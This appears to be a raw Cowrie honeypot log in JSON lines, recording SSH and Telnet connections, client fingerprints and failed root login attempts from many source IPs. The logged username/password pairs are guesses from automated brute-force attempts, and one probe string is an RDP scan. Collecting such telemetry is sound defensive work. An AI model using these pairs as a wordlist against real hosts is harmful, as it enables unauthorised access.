{"eventid":"cowrie.login.failed","username":"root","password":"support2017","message":"login attempt [root/support2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:38.902921Z","src_ip":"43.153.54.120","session":"08f3758a8799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:39.973087Z","src_ip":"43.153.54.120","session":"08f3758a8799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":59992,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1f425208620","protocol":"ssh","message":"New connection: 43.128.111.187:59992 (159.203.135.109:22) [session: a1f425208620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:41.843263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:41.847575Z","src_ip":"43.128.111.187","session":"a1f425208620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:42.083565Z","src_ip":"43.128.111.187","session":"a1f425208620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e17339b3a89","protocol":"telnet","message":"New connection: 152.42.224.71:37244 (10.17.0.5:23) [session: 0e17339b3a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:42.731598Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0rd","message":"login attempt [root/P@SSW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:43.059319Z","src_ip":"43.128.111.187","session":"a1f425208620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37254,"dst_ip":"10.17.0.5","dst_port":23,"session":"320fd5f2c8b1","protocol":"telnet","message":"New connection: 152.42.224.71:37254 (10.17.0.5:23) [session: 320fd5f2c8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:43.203505Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:44.297757Z","src_ip":"43.128.111.187","session":"a1f425208620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37262,"dst_ip":"10.17.0.5","dst_port":23,"session":"1685ed3cc52c","protocol":"telnet","message":"New connection: 152.42.224.71:37262 (10.17.0.5:23) [session: 1685ed3cc52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:46.257753Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":60022,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f74f3e578f","protocol":"ssh","message":"New connection: 59.17.95.129:60022 (159.203.135.109:22) [session: d5f74f3e578f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:51.888782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:51.893980Z","src_ip":"59.17.95.129","session":"d5f74f3e578f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:52.097818Z","src_ip":"59.17.95.129","session":"d5f74f3e578f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.6077663898468,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:52.765277Z","src_ip":"152.42.224.71","session":"315bbc43894e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":45190,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b1e1891b5f1","protocol":"ssh","message":"New connection: 79.132.141.112:45190 (10.17.0.5:22) [session: 0b1e1891b5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:52.854507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:52.859171Z","src_ip":"79.132.141.112","session":"0b1e1891b5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:52.924125Z","src_ip":"59.17.95.129","session":"d5f74f3e578f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:52.947139Z","src_ip":"79.132.141.112","session":"0b1e1891b5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123456","message":"login attempt [root/q123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:53.330327Z","src_ip":"79.132.141.112","session":"0b1e1891b5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:54.124682Z","src_ip":"59.17.95.129","session":"d5f74f3e578f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:54.420131Z","src_ip":"79.132.141.112","session":"0b1e1891b5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56178,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e0b68b1ec3e","protocol":"telnet","message":"New connection: 152.42.224.71:56178 (10.17.0.5:23) [session: 0e0b68b1ec3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:54.767823Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57609,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e505fb0dfe","protocol":"ssh","message":"New connection: 152.42.212.128:57609 (10.17.0.5:22) [session: 92e505fb0dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:57.065470Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:57.073799Z","src_ip":"152.42.212.128","session":"92e505fb0dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:57.076905Z","src_ip":"152.42.212.128","session":"92e505fb0dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.917121171951294,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:57.394016Z","src_ip":"152.42.224.71","session":"1e4cc585b1c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56188,"dst_ip":"10.17.0.5","dst_port":23,"session":"aae948f4fd9b","protocol":"telnet","message":"New connection: 152.42.224.71:56188 (10.17.0.5:23) [session: aae948f4fd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:58.251034Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":43856,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce7a2839eac3","protocol":"ssh","message":"New connection: 58.186.20.143:43856 (10.17.0.5:22) [session: ce7a2839eac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:03.533314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:03.541316Z","src_ip":"58.186.20.143","session":"ce7a2839eac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:03.799428Z","src_ip":"58.186.20.143","session":"ce7a2839eac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!QAZ@WSX","message":"login attempt [root/1qaz2wsx!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:04.852892Z","src_ip":"58.186.20.143","session":"ce7a2839eac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:06.113287Z","src_ip":"58.186.20.143","session":"ce7a2839eac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":49124,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef38cabb32c","protocol":"ssh","message":"New connection: 170.106.119.118:49124 (10.17.0.5:22) [session: 8ef38cabb32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:08.592917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:08.602084Z","src_ip":"170.106.119.118","session":"8ef38cabb32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:08.671442Z","src_ip":"170.106.119.118","session":"8ef38cabb32c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111111","message":"login attempt [root/1111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:08.979494Z","src_ip":"170.106.119.118","session":"8ef38cabb32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:10.053840Z","src_ip":"170.106.119.118","session":"8ef38cabb32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42424,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb27bada1a16","protocol":"telnet","message":"New connection: 152.42.224.71:42424 (10.17.0.5:23) [session: cb27bada1a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:13.497453Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42438,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e29afdbdde","protocol":"telnet","message":"New connection: 152.42.224.71:42438 (10.17.0.5:23) [session: 25e29afdbdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:14.457306Z"}
{"eventid":"cowrie.session.closed","duration":42.04135775566101,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:14.763958Z","src_ip":"152.42.224.71","session":"605733678619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42444,"dst_ip":"10.17.0.5","dst_port":23,"session":"634a82b3ed5b","protocol":"telnet","message":"New connection: 152.42.224.71:42444 (10.17.0.5:23) [session: 634a82b3ed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:15.023957Z"}
{"eventid":"cowrie.session.closed","duration":43.87839865684509,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:15.375788Z","src_ip":"152.42.224.71","session":"2498acfb18f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55828,"dst_ip":"10.17.0.5","dst_port":23,"session":"143dd0bcf8f7","protocol":"telnet","message":"New connection: 152.42.224.71:55828 (10.17.0.5:23) [session: 143dd0bcf8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:16.055501Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55832,"dst_ip":"10.17.0.5","dst_port":23,"session":"9015d43719c0","protocol":"telnet","message":"New connection: 152.42.224.71:55832 (10.17.0.5:23) [session: 9015d43719c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:18.824299Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":43988,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed88486765cc","protocol":"ssh","message":"New connection: 43.159.35.21:43988 (10.17.0.5:22) [session: ed88486765cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:20.170864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:20.175563Z","src_ip":"43.159.35.21","session":"ed88486765cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:20.421641Z","src_ip":"43.159.35.21","session":"ed88486765cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alanturing","message":"login attempt [root/alanturing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:21.439550Z","src_ip":"43.159.35.21","session":"ed88486765cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:22.692921Z","src_ip":"43.159.35.21","session":"ed88486765cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":41588,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d2264a95f0","protocol":"ssh","message":"New connection: 62.193.106.227:41588 (10.17.0.5:22) [session: 66d2264a95f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:23.241873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:55:23.247003Z","src_ip":"62.193.106.227","session":"66d2264a95f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cb